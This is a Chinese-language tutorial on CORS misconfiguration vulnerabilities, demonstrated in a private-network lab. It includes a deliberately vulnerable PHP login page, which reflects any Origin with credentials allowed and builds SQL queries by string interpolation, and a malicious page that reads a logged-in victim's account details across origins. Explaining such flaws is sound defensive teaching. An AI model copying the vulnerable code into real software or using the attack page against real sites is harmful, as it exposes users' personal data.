CORS(跨域资源共享)漏洞

同源策略

同源策略是限制浏览器发起跨域的 http 请求。

同协议、同域名、同端口 的一个站点称为同源(同域)。当浏览器向不同域的一个站点发起 http 请求时,浏览器会因为同源策略的存在,拒绝响应。注意,这里是指拒绝响应,而并没有拒绝请求,可以通过如下实验进行证明。

在 IP 为 192.168.177.173 的网站上,创建如下的页面,通过 XMLHttpRequest 发送 http 请求给 192.168.177.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html lang="en">
<head>
<title>CORS</title>
</head>
<body>
<script type="text/javascript">
//窗口打开完成后自动加载
window.onload = function (){
let ajax = new XMLHttpRequest();
ajax.onreadystatechange = function(){
if(ajax.readyState === 4 && ajax.status === 200){
let msg = ajax.responseText;
let divtag = document.getElementById('div');
divtag.innerHTML = msg;
}
};
ajax.open('get','http://192.168.177.1/cors/login.php');
ajax.send();
};
</script>
<div id="div">
</div>
</body>
</html>

观察上图可以看到,浏览器因为同源策略拒绝了跨域响应,但是,服务端依然收到了一条请求,这也正是为什么同源策略不能防御 CSRF 攻击的原因。同源策略限制了浏览器接收跨域请求的响应,但不限制浏览器发送跨域请求。

CORS (跨域资源共享)

现代web应用愈发复杂,同源策略的存在已经限制了web应用的灵活性。所以需要有一种能实现跨域资源共享的方式。

在 HTML 标签,有某些标签的标签属性不受同源策略的影响,例如 img 标签的 src 属性,所以我们才能通过 img 标签来引用任意网站的图片资源。

正是因为 src 属性不受同源策略影响,基于这个特点,出现了 jsonp 跨域技术,其中利用的就是 script 标签的 src 属性。但因为是 src 属性,所以只能发起 GET 请求。所以出现了 CORS 跨域。

CORS技术这么实现的,参考阮一峰的文章,讲的很详细 跨域资源共享 CORS 详解 。这里就梳理下 CORS 漏洞是这么形成的。

在浏览器发起跨域请求时,会在请求头中带上 Origin 字段,值为发起请求的源(协议+域名+端口)。浏览器根据这个值来判断是否同意这次请求。如果不同意,则返回一个正常的 HTTP 响应包。如果同意,则在返回的 HTTP 包中,加入 Access-Control-Allow-Origin 字段,值为发起跨域请求的源。

到这里似乎没有任何问题。但是服务端还可以设置一个响应头 Access-Control-Allow-Credentials ,含义为是否允许客户端携带 cookie 信息来发起请求。那么浏览器就可以以用户的身份来发起这次请求。

其中 Access-Control-Allow-Origin 字段可以设置为 * 表示允许任何源发起跨域请求。这里与 Access-Control-Allow-Credentials 便会产生任何源都可以发起跨域请求。这是一个非常危险的行为。会导致用户信息泄露。

所以,如果服务端设置了Access-Control-Allow-Origin:*Access-Control-Allow-Credentials:true 这种组合,浏览器也会拒绝响应这次跨域请求。

但是,开发人员在开发的时候,可能会直接取请求头中获取 Origin 的值,返回到 Access-Control-Allow-Origin 中,这样其实与 * 的作用相同,所以导致了任意源都能发起携带cookie的跨域请求。也可能在过滤允许的源时,通过正则过滤的不严谨,导致过滤可被绕过。

漏洞演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
//存在CORS漏洞的服务端 服务端IP:192.168.177.1
<?php
session_start();
$dsn = "mysql:host=127.0.0.1;dbname=test";
$pdo = new PDO($dsn,'root','root');

if(isset($_SERVER['HTTP_ORIGIN'])){
header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");
header('Access-Control-Allow-Credentials: true');
}

if(empty($_SESSION['name'])) {
$name = isset($_POST['username']) ? addslashes($_POST['username']) : '';
$pwd = isset($_POST['password']) ? md5($_POST['password']) : '';
$sql = "select * from users where username ='$name' and password='$pwd'";
$pds = $pdo->query($sql);
$arrs = $pds->fetch(2);
if (empty($arrs)) {
echo '<font style="color: red">不存在此用户,请返回重新登录,2秒后返回登录页面</font>';
header("refresh:2;url=./index.html");
die();
} else {
$_SESSION['name'] = $name;
}
}else{
$sql = "select * from users where username = '{$_SESSION['name']}'";
$pds = $pdo->query($sql);
$arrs = $pds->fetch(2);
}



//输出登录成功的页面
$html = <<<login_succes
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>login</title>
<style type="text/css">
table.tftable {font-size:12px;color:#333333;width:100%;border-width: 1px;border-color: #9dcc7a;border-collapse: collapse;}
table.tftable th {font-size:12px;background-color:#abd28e;border-width: 1px;padding: 8px;border-style: solid;border-color: #9dcc7a;text-align:left;}
table.tftable tr {background-color:#bedda7;}
table.tftable td {font-size:12px;border-width: 1px;padding: 8px;border-style: solid;border-color: #9dcc7a;}
</style>
</head>
<body>
<script>
window.onload=function(){
var tfrow = document.getElementById('tfhover').rows.length;
var tbRow=[];
for (var i=1;i<tfrow;i++) {
tbRow[i]=document.getElementById('tfhover').rows[i];
tbRow[i].onmouseover = function(){
this.style.backgroundColor = '#ffffff';
};
tbRow[i].onmouseout = function() {
this.style.backgroundColor = '#bedda7';
};
}
};
</script>
<table id="tfhover" class="tftable" border="1">
<tr><th>用户名</th><th>电话</th><th>真实姓名</th></tr>
<tr><td>{$arrs['username']}</td><td>{$arrs['mobile']}</td><td>{$arrs['name']}</td></tr>
</table>
</body>
</html>
login_succes;
echo $html;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<--! 黑客构造的发起跨域请求的恶意页 面恶意页面ip192.168.177.173 -->
<!DOCTYPE html>
<html lang="en">
<head>
<title>CORS</title>
</head>
<body>
<script type="text/javascript">
//窗口打开完成后自动加载
window.onload = function (){
let ajax = new XMLHttpRequest();
ajax.withCredentials = true;
ajax.onreadystatechange = function(){
if(ajax.readyState === 4 && ajax.status === 200){
let msg = ajax.responseText;
let divtag = document.getElementById('div');
divtag.innerHTML = msg;
}
};
//2.创建http请求,并设置请求地址
ajax.open('get','http://192.168.177.1/cors/login.php');
ajax.send(null);
};

</script>
<div id="div">
</div>
</body>
</html>

我们可以看到我们正常登陆后,显示出了我们登陆账号的信息。

但我们未推出登陆,访问黑客构造的恶意页面后。

同样读取到了我们的账户信息,因为恶意页面携带了我们的cookie去向服务端发起了跨域请求。

读取到信息后,只需要将获取的信息,通过 XMLHttpRequest 发送请求到攻击者的服务器,攻击者既可获取到用户的信息。